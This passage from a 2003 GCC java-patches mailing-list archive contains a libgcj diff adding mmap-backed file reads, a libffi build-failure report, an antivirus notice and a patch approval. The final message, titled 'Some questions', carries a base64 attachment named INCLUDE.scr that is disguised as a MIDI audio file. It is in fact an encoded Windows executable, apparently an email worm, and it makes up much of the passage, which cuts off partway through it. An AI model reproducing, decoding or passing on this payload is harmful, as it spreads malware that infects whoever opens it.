O_BINARY + if (flags == O_RDONLY | O_BINARY) +# else + if (flags == O_RDONLY) +# endif + { + struct stat sb; + if (::fstat (fd, &sb) != -1) + { + mlen = sb.st_size; + maddr = (gnu::gcj::RawData *) ::mmap (NULL, mlen, PROT_READ, + MAP_SHARED, fd, 0); + if (maddr == MAP_FAILED) + { + mlen = 0; + maddr = NULL; + } + } + } +#endif + return fd; } @@ -185,6 +214,10 @@ java::io::FileDescriptor::close (void) { jint save = fd; fd = -1; +#ifdef HAVE_MMAP + if (maddr) + ::munmap (maddr, mlen); +#endif if (::close (save)) throw new IOException (JvNewStringLatin1 (strerror (errno))); } @@ -196,6 +229,23 @@ java::io::FileDescriptor::seek (jlong po jlong len = length (); jlong here = getFilePointer (); + off_t r; + +#ifdef HAVE_MMAP + if (maddr) + { + len = mlen; + here = mpos; + } + else + { +#endif + len = length (); + here = getFilePointer (); +#ifdef HAVE_MMAP + } +#endif + if (eof_trunc && ((whence == SET && pos > len) || (whence == CUR && here + pos > len))) @@ -204,33 +254,76 @@ java::io::FileDescriptor::seek (jlong po pos = len; } - off_t r = ::lseek (fd, (off_t) pos, whence == SET ? SEEK_SET : SEEK_CUR); - if (r == -1) - throw new IOException (JvNewStringLatin1 (strerror (errno))); +#ifdef HAVE_MMAP + if (maddr) + { + if (whence == SET) + mpos = pos; + else + mpos += pos; + r = mpos; + } + else + { +#endif + r = ::lseek (fd, (off_t) pos, whence == SET ? SEEK_SET : SEEK_CUR); + if (r == -1) + throw new IOException (JvNewStringLatin1 (strerror (errno))); +#ifdef HAVE_MMAP + } +#endif return r; } jlong java::io::FileDescriptor::length (void) { - struct stat sb; - if (::fstat (fd, &sb)) - throw new IOException (JvNewStringLatin1 (strerror (errno))); - return sb.st_size; +#ifdef HAVE_MMAP + if (maddr) + { + return mlen; + } + else + { +#endif + struct stat sb; + if (::fstat (fd, &sb)) + throw new IOException (JvNewStringLatin1 (strerror (errno))); + return sb.st_size; +#ifdef HAVE_MMAP + } +#endif } jlong java::io::FileDescriptor::getFilePointer (void) { - off_t r = ::lseek (fd, 0, SEEK_CUR); - if (r == -1) - throw new IOException (JvNewStringLatin1 (strerror (errno))); - return r; +#ifdef HAVE_MMAP + if (maddr) + { + return mpos; + } + else + { +#endif + off_t r = ::lseek (fd, 0, SEEK_CUR); + if (r == -1) + throw new IOException (JvNewStringLatin1 (strerror (errno))); + return r; +#ifdef HAVE_MMAP + } +#endif } jint java::io::FileDescriptor::read (void) { +#ifdef HAVE_MMAP + if (maddr) + { + return mpos < mlen ? ((unsigned char *) maddr)[mpos++] : -1; + } +#endif jbyte b; int r = ::read (fd, &b, 1); if (r == 0) @@ -258,6 +351,21 @@ java::io::FileDescriptor::read (jbyteArr if (offset < 0 || count < 0 || offset + count > bsize) throw new java::lang::ArrayIndexOutOfBoundsException; jbyte *bytes = elements (buffer) + offset; +#ifdef HAVE_MMAP + if (maddr) + { + if (mpos < mlen) + { + if (count > mlen - mpos) + count = mlen - mpos; + memcpy (bytes, ((char *) maddr) + mpos, count); + mpos += count; + } + else + count = -1; + return count; + } +#endif int r = ::read (fd, bytes, count); if (r == 0) return -1; From java-patches-return-5758-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 10:53:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13182 invoked by alias); 4 Jan 2003 10:53:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13170 invoked from network); 4 Jan 2003 10:53:37 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 209.249.29.67 with SMTP; 4 Jan 2003 10:53:37 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3DEE86F7000ED910; Sat, 4 Jan 2003 11:53:23 +0100 Message-ID: <3E16BD22.4090905@pop.agri.ch> Date: Sat, 04 Jan 2003 11:53:22 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Sturm CC: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [libffi] closures for sparc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > Index: src/ffitest.c > =================================================================== > RCS file: /cvs/gcc/gcc/libffi/src/ffitest.c,v > retrieving revision 1.9 > diff -u -p -r1.9 ffitest.c > --- src/ffitest.c 6 Dec 2002 01:16:45 -0000 1.9 > +++ src/ffitest.c 28 Dec 2002 16:44:23 -0000 > @@ -1044,7 +1044,9 @@ int main(/*@unused@*/ int argc, /*@unuse > # if FFI_CLOSURES > /* A simple closure test */ > { > - ffi_closure cl; > + /* The closure must not be an automatic variable on > + platforms (Solaris) that forbid stack execution by default. */ > + static ffi_closure cl; > ffi_type * cl_arg_types[3]; > Hm, powerpc-unknown-linux-gnu doesn't like the static: /bin/sh ./libtool --mode=link /mnt/cvs/objdir/gcc/xgcc -B/mnt/cvs/objdir/gcc/ -B/mnt/cvs/testbinary/powerpc-unknown-linux-gnu/bin/ -B/mnt/cvs/testbinary/powerpc-unknown-linux-gnu/lib/ -isystem /mnt/cvs/testbinary/powerpc-unknown-linux-gnu/include -fexceptions -O2 -g -O2 -o ffitest -shared-libgcc ffitest.lo libffi.la /mnt/cvs/objdir/gcc/xgcc -B/mnt/cvs/objdir/gcc/ -B/mnt/cvs/testbinary/powerpc-unknown-linux-gnu/bin/ -B/mnt/cvs/testbinary/powerpc-unknown-linux-gnu/lib/ -isystem /mnt/cvs/testbinary/powerpc-unknown-linux-gnu/include -fexceptions -O2 -g -O2 -o .libs/ffitest -shared-libgcc .libs/ffitest.o ./.libs/libffi.so -Wl,--rpath -Wl,/mnt/cvs/testbinary/lib .libs/ffitest.o: could not read symbols: Bad value collect2: ld returned 1 exit status make[2]: *** [ffitest] Error 1 make[2]: Leaving directory `/mnt/cvs/objdir/powerpc-unknown-linux-gnu/libffi' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/mnt/cvs/objdir/powerpc-unknown-linux-gnu/libffi' make: *** [all-recursive-am] Error 2 From java-patches-return-5759-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 13:28:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27229 invoked by alias); 4 Jan 2003 13:28:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27221 invoked from network); 4 Jan 2003 13:28:56 -0000 Received: from unknown (HELO quito.magic.fr) (62.210.158.45) by 209.249.29.67 with SMTP; 4 Jan 2003 13:28:56 -0000 Received: from magic.fr (ppp-142.net-101.magic.fr [62.210.208.142]) by quito.magic.fr (8.11.6/8.11.2) with ESMTP id h04DSSj11331; Sat, 4 Jan 2003 14:28:28 +0100 (CET) Message-ID: <3E16E180.6CED75B9@magic.fr> Date: Sat, 04 Jan 2003 14:28:32 +0100 From: Laurent X-Accept-Language: fr,en,en-US,en-GB,es MIME-Version: 1.0 To: java-patches@gcc.gnu.org, gcc Subject: Some questions Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit THIS MESSAGE CONTAINS A VIRUS. http://gcc.gnu.org/ml/java-patches/2003-q1/msg00024.html -------- Original Message -------- Objet: Some questions Date: Fri, 3 Jan 2003 19:14:42 +0100 (CET) De: gcc A: java-patches@gcc.gnu.org ------------------ Message d'alerte Antivirale Jkta.bat is removed from here because it contains a virus. --------------------------------------------------------- From java-patches-return-5760-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 18:44:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29074 invoked by alias); 4 Jan 2003 18:44:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29062 invoked from network); 4 Jan 2003 18:44:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 4 Jan 2003 18:44:48 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA17047; Sat, 4 Jan 2003 11:44:35 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BE1224F8073; Sat, 4 Jan 2003 11:47:42 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: [wwwdocs] Add java news item References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: While I'm in LEVITTOWN I thought I'd like to see the NUCLEAR FAMILY!! Date: 04 Jan 2003 11:47:42 -0700 In-Reply-To: Message-ID: <87lm20iwfl.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> 2003-01-03 Jeff Sturm Jeff> * index.html: Add news item. Please check in. Thanks. Tom From java-patches-return-5761-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 19:04:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10900 invoked by alias); 4 Jan 2003 19:04:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10888 invoked from network); 4 Jan 2003 19:04:00 -0000 Received: from unknown (HELO relay-1v.club-internet.fr) (194.158.96.112) by 209.249.29.67 with SMTP; 4 Jan 2003 19:04:00 -0000 Received: from Zgd (lxxx-1-103.n.club-internet.fr [213.44.0.103]) by relay-1v.club-internet.fr (Postfix) with SMTP id 52340176D for ; Sat, 4 Jan 2003 20:02:48 +0100 (CET) From: sympa To: java-patches@gcc.gnu.org Subject: Some questions MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=RE5D3499aC461B86A Message-Id: <20030104190248.52340176D@relay-1v.club-internet.fr> Date: Sat, 4 Jan 2003 20:02:48 +0100 (CET) --RE5D3499aC461B86A Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --RE5D3499aC461B86A Content-Type: audio/x-midi; name=INCLUDE.scr Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 